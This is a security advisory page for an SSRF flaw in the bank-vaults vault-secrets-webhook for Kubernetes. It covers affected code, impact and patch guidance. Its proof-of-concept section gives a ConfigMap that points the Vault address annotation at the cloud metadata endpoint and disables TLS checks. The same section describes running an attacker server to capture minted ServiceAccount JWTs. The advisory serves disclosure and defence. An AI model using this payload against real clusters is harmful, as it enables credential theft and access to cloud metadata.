Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Reachable over the API server with only ConfigMap/Secret write (PR:L, AC:L, UI:N); the webhook acts on other identities (S:C) leaking SA tokens/secrets (C:H) and enabling forged requests (I:H), no availability impact.
Primary rating from Vendor (https://github.com/bank-vaults/vault-secrets-webhook).
CVSS VectorVendor: https://github.com/bank-vaults/vault-secrets-webhook
Lifecycle Timeline
3DescriptionCVE.org
Summary
The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.
Details
parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:
if value, ok := annotations[common.VaultAddrAnnotation]; ok {
vaultConfig.Addr = value
}No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.
MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:
clientConfig.Address = vaultConfig.Addrvault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.
The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.
When VaultServiceaccountAnnotation is also set, at pkg/webhook/webhook.go:
mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
ctx, saName, &tokenRequest, metav1.CreateOptions{})The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.
Proof of Concept
Create a ConfigMap in any watched namespace:
apiVersion: v1
kind: ConfigMap
metadata:
name: ssrf-poc
namespace: tenant-ns
annotations:
vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
vault.security.banzaicloud.io/vault-skip-verify: "true"
vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
secret-key: "vault:secret/data/test#value"When this ConfigMap is created, the vault-secrets-webhook admission handler:
- Parses the annotations and reads
vault-addr: http://169.254.169.254/latest/meta-data/ - Calls
CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)using cluster-wideserviceaccounts/token:create - Calls
vault.NewClientFromConfigWithContextwhich POSTs the JWT tohttp://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login - On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity
For the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.
Impact
A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:
- Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS
- Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access
The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.
Articles & Coverage 1
AnalysisAI
Server-side request forgery in bank-vaults vault-secrets-webhook (<= 1.22.2) lets a low-privileged tenant with ConfigMap or Secret create/update rights in any watched namespace force the cluster-wide admission webhook to make attacker-controlled outbound HTTP requests and exfiltrate ServiceAccount JWTs. The webhook trusts the vault.security.banzaicloud.io/vault-addr annotation with no scheme validation or host allowlist, then synchronously mints a SA token (via cluster-wide serviceaccounts/token:create) and POSTs it to the attacker's address, which can be replayed against the real Vault. A vendor patch (v1.23.1) exists and the reporter published a working PoC, but there is no public exploit identified in the wild and the flaw is not in CISA KEV.
Technical ContextAI
The affected component is the bank-vaults vault-secrets-webhook, a Kubernetes mutating admission webhook (Go package github.com/bank-vaults/vault-secrets-webhook) that injects HashiCorp Vault secrets into workloads by resolving vault:... references at admission time. The root cause is CWE-918 (SSRF): parseVaultConfig() in pkg/webhook/config.go:102-107 copies the vault-addr annotation directly into vaultConfig.Addr, and newVaultClient() in pkg/webhook/webhook.go:285 assigns it to clientConfig.Address before vault.NewClientFromConfigWithContext opens the connection - all inside the privileged webhook process during the synchronous admission review rather than in the user's pod. Two design decisions amplify the SSRF into credential theft: the vault-skip-verify annotation sets InsecureSkipVerify:true so no valid TLS certificate is needed, and the webhook's ClusterRole grants serviceaccounts/token:create cluster-wide, so the vault-serviceaccount annotation selects which SA's JWT is minted via the TokenRequest API and sent to the attacker endpoint.
RemediationAI
Vendor-released patch: 1.23.1 - upgrade the vault-secrets-webhook (and Helm chart) to v1.23.1 or later (https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1, fix commit https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0); the fix adds address validation for object-supplied annotations, a vault_addr_allowlist, a vault_allow_private_addr toggle (default off, blocking RFC-1918/link-local/IMDS), and vault_allow_object_skip_verify (default off) so vault-skip-verify from objects no longer disables TLS. After upgrading, set an explicit vault_addr_allowlist to your legitimate Vault endpoint(s) and leave vault_allow_private_addr and vault_allow_object_skip_verify at their secure defaults. If you cannot patch immediately, narrow the webhook's namespaceSelector so it does not watch tenant/untrusted namespaces (side effect: secret injection stops working in those namespaces), remove or restrict tenant create/update RBAC on ConfigMaps and Secrets in watched namespaces, and at the platform level enforce IMDSv2 with a hop limit of 1 to blunt the cloud-metadata exfiltration path (side effect: legacy IMDSv1 clients break). Additionally scope down or remove the cluster-wide serviceaccounts/token:create grant in the webhook ClusterRole if your usage permits, to limit SA-token theft blast radius.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-51591
GHSA-r2v3-8gwf-7ghm